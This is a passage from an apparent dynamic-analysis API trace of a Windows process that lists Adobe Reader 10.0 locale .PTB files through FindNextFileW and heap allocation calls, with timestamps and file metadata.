Size=0x80) returned 0x124b7d0 [0082.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c1a8 [0082.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12898b8 [0082.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.416] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d6d1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.PTB", cAlternateFileName="")) returned 1 [0082.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c1c8 [0082.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12899c0 [0082.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.418] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.PTB", cAlternateFileName="")) returned 1 [0082.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c1e8 [0082.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1289ac8 [0082.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.419] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.PTB", cAlternateFileName="")) returned 1 [0082.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.420] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.420] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c208 [0082.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1289bd0 [0082.421] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.421] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.PTB", cAlternateFileName="")) returned 1 [0082.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.421] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.422] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c228 [0082.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1289cd8 [0082.422] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.422] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.PTB", cAlternateFileName="")) returned 1 [0082.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c248 [0082.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1289de0 [0082.424] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.424] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.PTB", cAlternateFileName="")) returned 1 [0082.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.424] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.425] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c268 [0082.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1289ee8 [0082.425] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.PTB", cAlternateFileName="")) returned 1 [0082.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.426] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.426] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c288 [0082.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1289ff0 [0082.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.427] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.PTB", cAlternateFileName="")) returned 1 [0082.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c2a8 [0082.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128a0f8 [0082.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.428] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.PTB", cAlternateFileName="")) returned 1 [0082.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c2c8 [0082.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128a200 [0082.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.430] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.PTB", cAlternateFileName="")) returned 1 [0082.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c2e8 [0082.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128a308 [0082.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.431] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f876820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x150600, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.PTB", cAlternateFileName="")) returned 1 [0082.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c308 [0082.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128a410 [0082.433] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.433] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.PTB", cAlternateFileName="")) returned 1 [0082.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.433] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.PTB", cAlternateFileName="")) returned 1 [0082.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.PTB", cAlternateFileName="")) returned 1 [0082.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.PTB", cAlternateFileName="")) returned 1 [0082.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.PTB", cAlternateFileName="")) returned 1 [0082.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.435] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.PTB", cAlternateFileName="")) returned 1 [0082.435] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.PTB", cAlternateFileName="")) returned 1 [0082.435] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.PTB", cAlternateFileName="")) returned 1 [0082.435] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.PTB", cAlternateFileName="")) returned 0 [0082.435] GetLastError () returned 0x12 [0082.435] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0082.435] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.435] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.435] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.PTB", cAlternateFileName="")) returned 1 [0082.435] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x69400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.PTB", cAlternateFileName="")) returned 1 [0082.435] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.PTB", cAlternateFileName="")) returned 1 [0082.435] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x79e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.PTB", cAlternateFileName="")) returned 1 [0082.435] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.PTB", cAlternateFileName="")) returned 1 [0082.435] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d6d1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.PTB", cAlternateFileName="")) returned 1 [0082.435] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.PTB", cAlternateFileName="")) returned 1 [0082.435] FindNextFileW (in: 